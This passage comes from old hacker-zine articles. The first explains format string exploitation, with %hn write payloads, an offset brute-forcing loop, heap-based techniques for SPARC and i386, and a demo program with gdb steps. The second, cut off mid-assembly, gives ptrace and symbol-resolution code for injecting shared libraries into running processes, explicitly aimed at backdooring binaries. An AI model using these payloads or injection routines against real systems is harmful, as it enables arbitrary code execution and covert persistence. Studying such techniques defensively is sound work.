"%.48060u" // complete to 0x11234 (0x11234‑0x5678)

"%13$hn" // write 0x1234 to 0x8049096

"%14$hn" // write 0x1234 to 0x804909a

"%15$hn" // write 0x1234 to 0x804909e

"%16$hn" // write 0x1234 to 0x80490a2

"%17$hn" // write 0x1234 to 0x80490a6

In this example, the number of "function pointers" to write at the same time was set arbitrary to 5, but it could have been another number. The real limit depends on the length of the string you can supply, how many arguments you need to pop to get to the addresses if you are not using direct parameter access, if there is a limit for direct parameters access (on Solaris' libraries it's 30, on some Linuxes it's 400, and there may be other variations), etc.

If you are going to combine a jumpcode with multiple address overwrite, you need to have in mind that the jumpcode will not be just 4 bytes after the function pointer, but some more, depending on how many addresses you'll overwrite at once.

‑‑‑‑[ 4.2. multiple parameter bruteforcing

Sometimes you don't know how many parameters you have to pop, or how many to skip with direct parameter access, and you need to try until you hit the right number. Sometimes it's possible to do it in a more inteligent way, specially when it's not a blind format string (did I say it already? go read scut's paper [1]!). But anyway, there may be cases when you don't know how many parameters to skip, and have to find it out trying, as in the next pythonish example:

pops = 8

worked = 0

while (not worked):

fstring = "\x94\x90\x04\x08" # GOT[free]'s address fstring += "\x96\x90\x04\x08" #

fstring += "\x98\x90\x04\x08" # jumpcode address fstring += "%.37004u" # complete to 0x9098 fstring += "%%%d$hn" % pops # write 0x9098 to 0x8049094 fstring += "%.30572u" # complete to 0x10804 fstring += "%%%d$hn" % (pops+1) # write 0x0804 to 0x8049096 fstring += "%.47956u" # complete to 0x1c358 fstring += "%%%d$hn" % (pops+2) # write (pop ‑ ret) to 0x8049098 worked = try_with(fstring)

pops += 1

In this example, the variable 'pops' is incremented while trying to hit the right number for direct parameter access. If we repeat the target addresses, we can build a format string which lets us increment 'pops' faster. For example, repeating each address 5 times we get a faster bruteforcing:

pops = 8

worked = 0

while (not worked):

fstring = "\x94\x90\x04\x08" * 5 # GOT[free]'s address fstring += "\x96\x90\x04\x08" * 5 # repeat eddress 5 times fstring += "\x98\x90\x04\x08" * 5 # jumpcode address fstring += "%.37004u" # complete to 0x9098 fstring += "%%%d$hn" % pops # write 0x9098 to 0x8049094 fstring += "%.30572u" # complete to 0x10804 fstring += "%%%d$hn" % (pops+6) # write 0x0804 to 0x8049096 fstring += "%.47956u" # complete to 0x1c358 fstring += "%%%d$hn" % (pops+11) # write (pop ‑ ret) to 0x8049098 worked = try_with(fstring)

pops += 5

Hitting any of the 5 copies well be ok, the most copies you can put the better.

This is a simple idea, just repeat the addresses. If it's confusing, grab pen and paper and make some drawings, first draw a stack with the format string in it, and some random number of arguments on top of it, and then start doing the bruteforcing manually... it'll be fun! I guarantee it! :‑)

It may look stupid but may help you some day, you never know... and of course the same could be done without direct parameter access, but it's a little more complicated as you have to recalculate the length for %.u format specifiers on every try.

‑‑[ unnamed and unlisted seccion

Through this text my only point was: a format string is more than a mere 4‑bytes‑write‑anything‑anywhere primitive, it's almost a full write‑anything‑anywhre primitive, which gives you more posibilities.

So far so good, the rest is up to you...

‑‑[ Part II ‑ by riq

‑‑[ 5. Exploiting heap based format strings

Usually the format strings lies on the stack. But there are cases where it is stored on the heap, and you CAN'T see it.

Here I present a way to deal with these format strings in a generic way within SPARC (and big‑endian machines), and at the end we'll show you how to do the same for little‑endian machines.

‑‑[ 6. The SPARC stack

In the stack you will find stack frames. These stack frames have local variables, registers, pointers to previous stack frames, return addresses, etc.

Since with format strings we can see the stack, we are going to study it more carefully.

The stack frames in SPARC looks more or less like the following:

frame 0 frame 1 frame 2 [ l0 ] +‑‑‑‑> [ l0 ] +‑‑‑‑> [ l0 ] [ l1 ] | [ l1 ] | [ l1 ]

... | ...

[ l7 ] | [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] | [ i1 ]

... | ...

[ i5 ] | [ i5 ] | [ i5 ] [ fp ] ‑‑‑‑+ [ fp ] ‑‑‑‑+ [ fp ] [ i7 ] [ i7 ] [ i7 ] [ temp 1] [ temp 1]

[ temp 2]

And so on...

The fp register is a pointer to the caller frame pointer. As you may guess, 'fp' means frame pointer.

The temp_N are local variables that are saved in the stack. The frame 1 starts where the frame 0's local variables end, and the frame 2 starts, where the frame 1's local variables end, and so on.

All these frames are stored in the stack. So we can see all of these stack frames with our format strings.

‑‑[ 7. the trick

The trick lies in the fact that every stack frame has a pointer to the previous stack frame. Furthermore, the more pointers to the stack we have, the better.

Why ? Because if we have a pointer to our own stack, we can overwrite the address that it points to with any value.

‑‑[ 7.1. example 1

Suppose that we want to put the value 0x1234 in frame 1's l0. What we will try to do is to build a format string, whose length is 0x1234, by the time we've reached stack frame 0's fp with a %n.

Supposing that the first argument that we see is the frame 0's l0 register, we should have a format string like the following (in python):

'%8x' * 8 + # pop the 8 registers 'l'

'%8x' * 5 + # pop the first 5 'i' registers

'%4640d' + # modify the length of my string (4640 is 0x1220) and... '%n' # I write where fp is pointing (which is frame 1's l0)

So, after the format string has been executed, our stack should look like this:

frame 0 frame 1

[ l0 ] +‑‑‑‑> [ 0x00001234 ]

[ l1 ] | [ l1 ]

... | ...

[ l7 ] | [ l7 ]

[ i0 ] | [ i0 ]

[ i1 ] | [ i1 ]

... | ...

[ i5 ] | [ i5 ]

[ fp ] ‑‑‑‑+ [ fp ]

[ i7 ] [ i7 ]

[ temp 1] [ temp 1]

[ temp 2]

‑‑[ 7.2. example 2

If we decided on a bigger number, like 0x20001234, we should find 2 pointers that point to the same address in the stack. It should be something like this:

frame 0 frame 1

[ l0 ] +‑‑‑‑> [ l0 ]

[ l1 ] | [ l1 ]

... | ...

[ l7 ] | [ l7 ]

[ i0 ] | [ i0 ]

[ i1 ] | [ i1 ]

... | ...

[ i5 ] | [ i5 ]

[ fp ] ‑‑‑‑+ [ fp ]

[ i7 ] | [ i7 ]

[ temp 1] ‑‑‑‑+ [ temp 1]

[ temp 2]

[ Note: We are not going to find always 2 pointers that point to the same address, though it is not rare. ]

So, our format string should look like this:

'%8x' * 8 + # pop the 8 registers 'l'

'%8x' * 5 + # pop the first 5 registers 'i'

'%4640d' + # modify the length of my format string (4640 is 0x1220) '%n' # I write where fp is pointing (which is frame 1's l0) '%3530d' + # again, I modify the length of the format string '%hn' # and I write again, but only the hi part this time!

And we would get the following:

frame 0 frame 1

[ l0 ] +‑‑‑‑> [ 0x20001234 ]

[ l1 ] | [ l1 ]

... | ...

[ l7 ] | [ l7 ]

[ i0 ] | [ i0 ]

[ i1 ] | [ i1 ]

... | ...

[ i5 ] | [ i5 ]

[ fp ] ‑‑‑‑+ [ fp ]

[ i7 ] | [ i7 ]

[ temp 1] ‑‑‑‑+ [ temp 1]

[ temp 2]

‑‑[ 7.3. example 3

In the case that we only have 1 pointer, we can get the same result by using the 'direct parameter access' in the format string, with %argument_number$, where 'argument_number' is a number between 0 and 30 (in Solaris).

My format string should be the following:

'%4640d' + # change the length

'%15$n' + # I write where argument 15 is pointing (arg 15 is fp!) '%3530d' + # change the length again

'%15$hn' # write again, but only the hi part!

Therefore, we would arrive at the same result:

frame 0 frame 1

[ l0 ] +‑‑‑‑> [ 0x20001234 ]

[ l1 ] | [ l1 ]

... | ...

[ l7 ] | [ l7 ]

[ i0 ] | [ i0 ]

[ i1 ] | [ i1 ]

... | ...

[ i5 ] | [ i5 ]

[ fp ] ‑‑‑‑+ [ fp ]

[ i7 ] [ i7 ]

[ temp 1] [ temp 1]

[ temp 2]

‑‑[ 7.4. example 4

But it could well happen that I don't have 2 pointers that point to the same address in the stack, and the first address that points to the stack is outside the scope of the first 30 arguments. What could I then do ?

Remember that with plain '%n', you can write very large numbers, like 0x00028000 and higher. You should also keep in mind that the binary's PLT is usually located in very low addresses, like 0x0002????. So, with just one pointer that points to the stack, you can get a pointer that points to the binary's PLT.

I don't believe a graphic is necessary in this example.

‑‑[ 8. builind the 4‑bytes‑write‑anything‑anywhere primitive

‑‑[ 8.1. example 5

In order to get a 4‑bytes‑write‑anything‑anywhere primitive we should repeat what was done with the stack frame 0, and do it again for another stack frame, like frame 1. Our result should look something like the following:

frame 0 frame 1 frame 2

[ l0 ] +‑‑‑‑> [0x00029e8c] +‑‑‑‑> [0x00029e8e] [ l1 ] | [ l1 ] | [ l1 ]

... | ...

[ l7 ] | [ l7 ] | [ l7 ]

[ i0 ] | [ i0 ] | [ i0 ]

[ i1 ] | [ i1 ] | [ i1 ]

... | ...

[ i5 ] | [ i5 ] | [ i5 ]

[ fp ] ‑‑‑‑+ [ fp ] ‑‑‑‑+ [ fp ]

[ i7 ] [ i7 ] | [ i7 ]

[ temp 1] [ temp 1] | [ temp 2] ‑‑‑‑+ [ temp 3]

[Note: As long as the code we want to change is located in 0x00029e8c ]

So, now that we have 2 pointers, one that points to 0x00029e8c and another that points to 0x00029e8e, we have finally achieved our goal! Now, we can exploit this situation just like any other format string vulnerability :)

The format string will look like this:

'%4640d' + # change the length

'%15$n' + # with 'direct parameter access' I write the lower part # of frame 1's l0

'%3530d' + # change the length again

'%15$hn' + # overwrite the higher part

'%9876d' + # change the length

'%18$hn' + # And write like any format string exploit!

'%8x' * 13+ # pop 13 arguments (from argument 15) '%6789d' + # change length

'%n' + # write lower part

'%8x' + # pop

'%1122d' + # modify length

'%hn' + # write higher part

'%2211d' + # modify length

'%hn' # And write, again, like any format string exploit.

As you can see, this was done with just one format string. But this is not always possible. If we can't build 2 pointers, what we need to do, is to abuse the format string twice.

First, we build a pointer that points to 0x00029e8c. Then, we overwrite the value that 0x00029e8c points to with '%hn'.

The second time in which we abuse of the format string, we do the same as we did before, but with a pointer to 0x00029e8e. There is no real need for two pointers (0x00029e8c and 0x00029e8e), as writing first the lower part with %n and then the higher part with %hn will work, but you'll have to use the same pointer twice, only possible with direct parameter access.

‑‑[ 9. the i386 stack

We can also, exploit a heap based format strings in the i386 arquitecture using a very similar technique. Lets see how the i386 stack works.

frame 0 frame 1 frame 2 frame 3 [ ebp ] ‑‑‑> [ ebp ] ‑‑‑> [ ebp ] ‑‑‑> [ ebp ]

[ ] [ ] [

[ ] [ ] [

[ ... ] [ ... ] [ .

As you can see, i386's stack is very similar to SPARC's, the main difference is that all the addresses are stored in little‑endian format.

frame0 frame1

[ LSB | MSB ] ‑‑‑> [ LSB | MSB ]

[ ] [ ]

So, the trick we were using in SPARC of overwriting address's LSB with '%n', and then overwriting its MSB with '%hn' with just one pointer won't work in this architecture.

We need an additional pointer, pointing to MSB's address, in order to change it. Something like this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| V

[LSB | MSB] | [LSB | MSB] ‑‑‑> [LSB | MSB]

[ ] | [ ]

[ ] ‑+ [ ]

[ ... ] [ ... ]

Frame B Frame C Frame D

Heh! as you probably guessed, this is not very common on everyday stacks, so, what we are going to do, is build the pointers we need, and then, of course, use them.

Warning! We just found out that this technique does not work on latest Linuxes, we are not even sure if works on any (it depends on libc/glibc version), but we know it works, at least, on OpenBSD, FreeBSD and Solaris x86).

‑‑[ 9.1. example 6

This trick will need an aditional frame... latter we'll try to get rid of as many frames as possible.

+‑‑‑‑‑‑

|

| V

[LSB | MSB] ‑‑‑> [LSB | MSB] ‑+ [LSB | MSB] ‑‑‑> [LSB | MSB]

[ ] [ ] [

[ ] [ ] [

[ ... ] [ ... ] [

Frame A Frame B Frame C Frame D

Frame A has a pointer to Frame B. Specifically, it's pointing to Frame B's ebp. So we can modify the LSB of Frame B's ebp, with an '%hn'. And that is what we wanted!. Now Frame B is not pointing to Frame C, but to the MSB of Frame D's ebp.

We are abusing the fact that ebp is already pointing to the stack, and we assume that changing its 2 LSB will be enough to make it point to another frame's saved ebp. There may be some problems with this (if Frame D is not on the same 64k "segment" of Frame C), but we'll get rid of this problem in the following examples.

So with 4 stack frames, we could build one pointer in the stack, and with that pointer we could write 2 bytes anywhere in memory. If we have 8 stack frames we could repeat the process and build 2 pointers in the stack, allowing us to write 4 bytes anywhere in memory.

‑‑[ 9.2. example 7 ‑ the pointer generator

There are cases where you don't have 8 (or 4) stack frames. What can we do then? Well, using direct parameter access, we could use just 3 stack frames to do everything, and not only a 4‑bytes‑write‑anything‑anywhere primitive but almost a full write‑anything‑anywhere primitive.

Lets see how we can do it, heavily abusing direct parameter access, our target? to build the address 0xdfbfddf0 in the stack, so we can use it latter with another %hn to write there.

step 1:

Frame B's saved frame pointer (saved ebp) is already pointing to Frame C's saved ebp, so, the first thing we are going to do is change Frame's C LSB:

[ LSB | MSB ] ‑‑‑> [ LSB | MSB ] ‑‑‑> [ LSB | MSB ]

[ ] [

[ ] [

[ ... ] [ ...

Frame A Frame B Frame C

Since we know where in the stack is Frame B, we could use direct parameter access to access parameters out of order... and probably not just once. Latter we'll see how to find the direct parameter access number we need, right now lets just assume Frame B's is 14.

# step 1

'%.56816u' + # change the length (we want to write 0xddf0) '%14$hn' + # Write where argument 14 is pointing # (arg 14 is Frame B's ebp)

What we get is a modified Frame C's ebp.

step 2:

[ LSB | MSB ] ‑‑‑> [ LSB | MSB ] ‑‑‑> [ ddf0| MSB ]

[ ] [

[ ] [

[ ... ] [ ...

Frame A Frame B Frame C

As Frame A's ebp is already pointing to Frame B's ebp, we can use it to change the LSB of Frame B's ebp, and as it is already pointing to Frame C's ebp's LSB we can make it point to Frame C's ebp's MSB, we won't have the 64k segments problem this time, as Frame C's ebp's LSB must be in the same segment as its MSB, as it's always 4 bytes aligned... I know it's confusing...

For example if Frame C is at 0xdfbfdd6c, we will want to make Frame B's ebp to point to 0xdfbfdd6e, so we can write target address' MSB.

# step 2

'%.65406u'+ # we want to write 0xdd6e (65406 = 0x1dd6e‑0xddf0) '%6$hn' + # Write where argument 6 is pointing # (assuming arg 6 is Frame A's ebp)

step 3:

V

[ LSB | MSB ] ‑‑‑> [ dd6e| MSB ] ‑‑+ [ ddf0| MSB ]

[ ] [

[ ] [

[ ... ] [ ...

Frame A Frame B Frame C

The new Frame B points to the MSB of the Frame C's ebp. And now, with another direct parameter access, we build the MSB of the address that we were looking for.

# step 3

'%.593u' + # we want to write 0xdfbf (593 = 0xdfbf ‑ 0xdd6e) '%14$n' + # Write where argument 14 is pointing # (arg 14 is Frame B's ebp)

our result:

V

[ LSB | MSB ] ‑‑‑> [ dd6e| MSB ] ‑‑+ [ ddf0| dfbf]

[ ] [

[ ] [

[ ... ] [ ...

Frame A Frame B Frame C

As you can see, we have our pointer in Frame C's ebp, now we could use it to write 2 bytes anywhere in memory. This won't be enough normally to make an exploit, but we could use the same trick, USING THESE 3 STACK FRAMES AGAIN, to build another pointer (and another, and another...) Hey, we've found a pointer generator :‑) with only 3 stack frames.

Got the theory? let's put all this together in an example.

The following code will use 3 frames (A,B,C) and multiple parameters access to write the value 0xaabbccdd to the address 0xdfbfddf0. It was tested on an OpenBSD 3.0, and can be tried on other systems. We'll show you here how to tune it to your box.

/* fs2.c

* demo program to show format strings techinques * * specially crafted to feed your brain by gera@corest.com */

do_printf(char *msg) {

printf(msg);

}

#define FrameC 0xdfbfdd6c

#define counter(x) ((a=(x)‑b),(a+=(a<0?0x10000:0)),(b=(x)),a)

char *write_two_bytes(

unsigned long where,

unsigned short what,

int restoreFrameB)

{

static char buf[1000]={0}; // enough? sure! :)

static int a,b=0;

if (restoreFrameB)

sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff))); sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where & 0xffff)); sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff) + 2)); sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where >> 0x10)); sprintf(buf, "%s%%.%du%%29$hn", buf, counter(what)); return buf;

}

int main() {

char *buf;

buf = write_two_bytes(0xdfbfddf0,0xccdd,0);

buf = write_two_bytes(0xdfbfddf2,0xaabb,1); do_printf(buf);

}

The values you'll need to change are:

%6$ number of parameter for Frame A's ebp

%14$ number of parameter for Frame B's ebp

%29$ number of parameter for Frame C's ebp 0xdfbfdd6c address of Frame C's ebp

To get the right values:

gera@vaiolent> cc ‑o fs fs.c

gera@vaiolent> gdb fs

(gdb) br do_printf

(gdb) r

(gdb) disp/i $pc

(gdb) ni

(gdb) p "run until you get to the first call in do_printf"

(gdb) ni

1: x/i $eip 0x17a4 <do_printf+12>: call 0x208c <_DYNAMIC+140> (gdb) bt

#0 0x17a4 in do_printf ()

#1 0x1968 in main ()

(gdb) x/40x $sp

0xdfbfdcf8: 0x000020d4 0xdfbfdd70 0xdfbfdd00 0x0000195f 0xdfbfdd08: 0xdfbfddf2 0x0000aabb [0xdfbfdd30]‑‑+ (0x00001968) 0xdfbfdd18: 0x000020d4 0x0000ccdd 0x00000000 | 0x00001937 0xdfbfdd28: 0x00000000 0x00000000 +‑[0xdfbfdd6c]<‑+ 0x0000109c 0xdfbfdd38: 0x00000001 0xdfbfdd74 | 0xdfbfdd7c 0x00002000 0xdfbfdd48: 0x0000002f 0x00000000 | 0x00000000 0xdfbfdff0 0xdfbfdd58: 0x00000000 0x0005a0c8 | 0x00000000 0x00000000 0xdfbfdd68: 0x00002000 [0x00000000]<‑+ 0x00000001 0xdfbfddd4 0xdfbfdd78: 0x00000000 0xdfbfddeb 0xdfbfde04 0xdfbfde0f 0xdfbfdd88: 0xdfbfde50 0xdfbfde66 0xdfbfde7e 0xdfbfde9e

Ok, time to start getting the right values. First, 0x1968 (from previous 'bt' command) is where do_printf() will return after finishing, locate it in the stack (in this example it's at 0xdfbfdd14). The previous word is where Frame A starts, and is where Frame A's ebp is saved, here it's 0xdfbfdd30.

Great! now we need the direct parameter access number for it, so, as we executed up to the call, the first word in the stack is the first argument for printf(), numbered 0. If you count, starting from 0, up to Frame A's ebp, you'll count 6 words, that's the number we want.

Now, locate where Frame A's ebp is pointing to, that's Frame B's ebp, here 0xdfbfdd6c. Count again, you'll get 14, 2nd value needed. Cool, now Frame B's saved ebp is ponting to Frame C's ebp, so, we already have another value: 0xdfbfdd6c. And to get the last number needed, you need to count again, until you get to Frame C's ebp (count until you get to the address 0xdfbfdd6c), you should get 29.

Now edit your fs.c, compile it, gdb it, and run past the call (one more 'ni'), you should see a lot of zeros and then:

(gdb) x/x 0xdfbfddf0

0xdfbfddf0: 0xaabbccdd

Apparently it does work after all :‑)

There are some interesting variants. In this example, printf() is not called from main(), but from do_printf(). This is an artifact so we had 3 frames to play with. If the printf() is directly in main(), you will not have three frames, but you could do just the same using argv and *argv, as the only real things you need are a pointer in the stack, pointing to another pointer in the stack pointing somewhere in the stack.

Another interesting method (probably even more interesting than the original), is to target not a function pointer but a return address in stack. This method will be a lot shorter (just 2 %hn per short to write, and only 2 frames needed), a lot of addresses could be bruteforced at the same time, and of course, you could use a jumpcode if you want.

This time We'll leave the experimentation with this two variantes (and others) to the reader.

It is noteworthy, that with this technique in i386, Frame B breaks the chain of the stack frames, so if the program you're exploiting needs to use Frame C, it's probably that it will segfault, hence you'll need to hook the execution flow before the crash.

‑‑[ 10. conclusions

‑‑[ 10.1. is it dangerous to overwrite the l0 (on the stack frame) ?

This is not perfect, but practice shows that you will not have many problems in changing the value of l0. But, would you be unlucky, you may prefer to modify the l0's that belongs to main()'s and _start()'s stack frames.

‑‑[ 10.2. is it dangerous to overwrite the ebp (on the stack frame) ?

Yes, it's very dangerous. Probably your program will crash. But as we saw, you can restore the original ebp value using the pointer generator :‑) And as in the SPARC case, you may prefer to modify the ebp's that belongs to the main(), _start(), etc, stack frames.

‑‑[ 10.3. is this reliable ?

If you know the state of the stack, or if you know the sizes of the stack frames, it is reliable. Otherwise, unless the situation lets you implement some smooth way of bruteforcing all the numbers needed, this technique won't help you much.

I think when you have to overwrite values that are located in addresses that have zeros, this may be your only hope, since, you won't be able to put a zero in your format string (because it will truncate your string).

Also in SPARC, the binaries' PLT are located in low addresses and it is more reliable to overwrite the binary's PLT than the libc's PLT. Why is this so? Because, I would guess, in Solaris libc changes more frequently than the binary that you want to exploit. And probably, the binary you want to exploit will never change!

‑‑[ The End

‑‑[ 11. more greets and thanks

gera:

riq, for trying every stupid idea I have and making it real!

juliano, for being our format strings guru.

Impact, for forcing me to spend time thinking about all theese amazing things.

last minute addition: I just learned of the existence of a library called fmtgen, Copyrighted by fish stiqz. It's a format string construction library, and it can be used (as suggested in its Readme), to write jumpcodes or even shellcodes as well as addresses. This are the last lines I'm adding to the article, I wish I had a little more time, to study it, but we are in a hurry, you know :‑)

riq:

gera, for finding out how to exploit the heap based format strings in i386, for his ideas, suggestions and fixes.

juliano, for letting me know that I can overwrite, as may times as I want an address using 'direct access', and other tips about format strings.

javier, for helping me in SPARC.

bombi, for trying her best to correct my English.

and bruce, for correcting my English, too.

‑‑[ 12. references

[1] Exploiting Format String Vulnerability, scut's.

March 2001. http://www.team‑teso.net/articles/formatstring

[2] w00w00 on Heap Overflows, Matt Conover (shok) and w00w00 Security Team. January 1999. http://www.w00w00.org/articles.html

[3] Juliano's badc0ded

http://community.corest.com/~juliano

[4] Google the oracle.

http://www.google.com

Runtime process infection

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x08 of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Runtime Process Infection ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ anonymous <p59_08@author.phrack.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ ptrace() ‑ Linux debugging API

3 ‑ resolving symbols

4 ‑ plain asm code injection ‑ old fashioned way

5 ‑ .so injection ‑ easy way

6 ‑ A brief note about shared lib redirection

7 ‑ Conclusion

8 ‑ References

A ‑ Appendix ‑ sshfucker: runtime sshd infector

‑‑[ 1 ‑ Introduction

The purpose of this article is to introduce a couple of methods for infecting binaries on runtime, and even though there are many other possible areas of use for this technique, we will mainly focus on a bit more evil things, such as backdooring binaries. However, this is not supposed to be ELF tutorial nor guide to linking. The reader is assumed to be somewhat familiar with ELF. Also, this article is strictly x86 linux specified, even though the same techniques and methods could be easily ported to other platforms as well.

‑‑[ 2 ‑ ptrace() ‑ Linux debugging API

Linux offers one simple function for playing with processes, and it can do pretty much everything we need to do. We will not take a more indepth look at ptrace() here, since its quite simple and pretty much all we need to know can be found on the man page. However we will introduce a couple of helper functions to make working with ptrace() easier.

/* attach to pid */

void

ptrace_attach(int pid)

{

if((ptrace(PTRACE_ATTACH , pid , NULL , NULL)) < 0) { perror("ptrace_attach");

exit(‑1);

}

waitpid(pid , NULL , WUNTRACED);

}

/* continue execution */

void

ptrace_cont(int pid)

{

if((ptrace(PTRACE_CONT , pid , NULL , NULL)) < 0) { perror("ptrace_cont");

exit(‑1);

}

while (!WIFSTOPPED(s)) waitpid(pid , &s , WNOHANG);

}

/* detach process */

void

ptrace_detach(int pid)

{

if(ptrace(PTRACE_DETACH, pid , NULL , NULL) < 0) { perror("ptrace_detach");

exit(‑1);

}

}

/* read data from location addr */

void *

read_data(int pid ,unsigned long addr ,void *vptr ,int len) {

int i , count;

long word;

unsigned long *ptr = (unsigned long *) vptr;

count = i = 0;

while (count < len) {

word = ptrace(PTRACE_PEEKTEXT ,pid ,addr+count, \

NULL);

count += 4;

ptr[i++] = word;

}

}

/* write data to location addr */

void

write_data(int pid ,unsigned long addr ,void *vptr,int len) {

int i , count;

long word;

i = count = 0;

while (count < len) {

memcpy(&word , vptr+count , sizeof(word));

word = ptrace(PTRACE_POKETEXT, pid , \

addr+count , word);

count +=4;

}

}

‑‑[ 3 ‑ resolving symbols

As long as we are planning any kind of function intercepting/modifying, we need ways to locate some certain functions in the binary. For now we are gonna use link‑map for that. link_map is dynamic linkers internal structure with which it keeps track of loaded libraries and symbols within libraries. Basicly link‑map is a linked list, each item on list having a pointer to loaded library. Just like dynamic linker does when it needs to find symbol, we can travel this list back and forth, go through each library on the list to find our symbol. the link‑map can be found on the second entry of GOT (global offset table) of each object file. It is no problem for us to read link‑map node address from the GOT[1] and start following linkmap nodes until the symbol we wanted has been found.

from link.h:

struct link_map

{

ElfW(Addr) l_addr; /* Base address shared object is loaded */

char *l_name; /* Absolute file name object was found in. */

ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */

struct link_map *l_next, *l_prev; /* Chain of loaded objects.*/

};

The structure is quite self‑explaining, but here is a short explanation of all items anyway:

l_addr: Base address where shared object is loaded. This value can also be found from /proc/<pid>/maps

l_name: pointer to library name in string table

l_ld: pointer to dynamic (DT_*) sections of shared lib

l_next: pointer to next link_map node

l_prev: pointer to previous link_map node

The idea for symbol resolving with the link_map struct is simple. We traverse throu link_map list, comparing each l_name item until the library where our symbol is supposed to reside is found. Then we move to l_ld struct and traverse throu dynamic sections until DT_SYMTAB and DT_STRTAB have been found, and finally we can seek our symbol from DT_SYMTAB. This can be quite slow, but should be fine for our example. Using HASH table for symbol lookup would be faster and preferred, but that is left as exercise for the reader ;D.

Let's look at some of the functions making life more easy with the link_map. The below code is based on grugq's code on his ml post[1], altered to use ptrace() for resolving in another process address space:

/* locate link‑map in pid's memory */

struct link_map *

locate_linkmap(int pid)

{

Elf32_Ehdr *ehdr = malloc(sizeof(Elf32_Ehdr)); Elf32_Phdr *phdr = malloc(sizeof(Elf32_Phdr)); Elf32_Dyn *dyn = malloc(sizeof(Elf32_Dyn)); Elf32_Word got;

struct link_map *l = malloc(sizeof(struct link_map)); unsigned long phdr_addr , dyn_addr , map_addr;

/* first we check from elf header, mapped at 0x08048000, the offset

* to the program header table from where we try to locate

* PT_DYNAMIC section.

*/

read_data(pid , 0x08048000 , ehdr , sizeof(Elf32_Ehdr));

phdr_addr = 0x08048000 + ehdr‑>e_phoff;

printf("program header at %p\n", phdr_addr);

read_data(pid , phdr_addr, phdr , sizeof(Elf32_Phdr));

while ( phdr‑>p_type != PT_DYNAMIC ) {

read_data(pid, phdr_addr += sizeof(Elf32_Phdr), phdr, \ sizeof(Elf32_Phdr));

}

/* now go through dynamic section until we find address of the GOT

*/

read_data(pid, phdr‑>p_vaddr, dyn, sizeof(Elf32_Dyn)); dyn_addr = phdr‑>p_vaddr;

while ( dyn‑>d_tag != DT_PLTGOT ) {

read_data(pid, dyn_addr += sizeof(Elf32_Dyn), dyn,\ sizeof(Elf32_Dyn));

}

got = (Elf32_Word) dyn‑>d_un.d_ptr;

got += 4; /* second GOT entry, remember? */

/* now just read first link_map item and return it */

read_data(pid, (unsigned long) got, &map_addr , 4); read_data(pid , map_addr, l , sizeof(struct link_map));

free(phdr);

free(ehdr);

free(dyn);

return l;

}

/* search locations of DT_SYMTAB and DT_STRTAB and save them into global

* variables, also save the nchains from hash table.

*/

unsigned long symtab;

unsigned long strtab;

int nchains;

void

resolv_tables(int pid , struct link_map *map)

{

Elf32_Dyn *dyn = malloc(sizeof(Elf32_Dyn));

unsigned long addr;

addr = (unsigned long) map‑>l_ld;

read_data(pid , addr, dyn, sizeof(Elf32_Dyn));

while ( dyn‑>d_tag ) {

switch ( dyn‑>d_tag ) {

case DT_HASH:

read_data(pid,dyn‑>d_un.d_ptr +\

map‑>l_addr+4,\

&nchains , sizeof(nchains));

break;

case DT_STRTAB:

strtab = dyn‑>d_un.d_ptr;

break;

case DT_SYMTAB:

symtab = dyn‑>d_un.d_ptr;

break;

default:

break;

}

addr += sizeof(Elf32_Dyn);

read_data(pid, addr , dyn , sizeof(Elf32_Dyn));

}

free(dyn);

}

/* find symbol in DT_SYMTAB */

unsigned long

find_sym_in_tables(int pid, struct link_map *map , char *sym_name) {

Elf32_Sym *sym = malloc(sizeof(Elf32_Sym));

char *str;

int i;

i = 0;

while (i < nchains) {

read_data(pid, symtab+(i*sizeof(Elf32_Sym)), sym, sizeof(Elf32_Sym));

i++;

if (ELF32_ST_TYPE(sym‑>st_info) != STT_FUNC) continue;

/* read symbol name from the string table */

str = read_str(pid, strtab + sym‑>st_name);

if(strncmp(str , sym_name , strlen(sym_name)) == 0) return(map‑>l_addr+sym‑>st_value);

}

/* no symbol found, return 0 */

return 0;

}

We use nchains (number of items in chain array) stored from DT_HASH to check how many symbols each lib has so we know where to stop reading in case the wanted symbol is not found.

‑‑[ 4 ‑ plain asm code injection ‑ old fashioned way

We are gonna skip this part because of lack of time and interest. Simple pure‑asm code injectors have been around for quite sometime already, and techniq is probably already clear, since it just really is poking opcodes into process memory, overwriting old data, allocating space with sbrk() or finding space otherwhere for own code. However, there is another method with which you do not have to worry about finding space for your code (atleast when playing with dynamically linked binaries) and we are coming to it next.

‑‑[ 5 ‑ .so injection ‑ easy way

Instead of injecting pure asm code we could force the process to load our shared library and let the runtime dynamic linker to do all dirty work for us. Benefits of this is the simplicity, we can write the whole .so with pure C and call external symbols. libdl offers a programming interface to dynamic linking loader, but a quick look to libdl sources show us that dlopen() , dlsym() and dlclose() are quite much just wrapper functions with some extra error checking, while the real functions are residing in libc. here's the prototype to _dl_open() from glibc‑2.2.4/elf/dl‑open.c:

void *

internal_function

_dl_open (const char *file, int mode, const void *caller);

Parameters are pretty much the same as in dlopen(), having only one 'extra' parameter *caller, which is pointer to calling routine and its not really important to us and we can safely ignore it. We will not need other dl* functions now either.

So, we know which function we can be used to load our shared library, and now we could write a small asm code snippet which calls _dl_open() and loads our lib and thats exactly what we are gonna do. One thing to remember is that _dl_open() is defined as an 'internal_function', which means the function parameters are passed in slightly different way, via registers instead of stack. See the parameters order here:

EAX = const char *file

ECX = const void *caller (we set it to NULL)

EDX = int mode (RTLD_LAZY)

Asset with this information, we will introduce our tiny .so loader code:

_start:jmp string

begin:pop eax; char *file

xorecx,ecx; *caller

mov edx,0x1; int mode

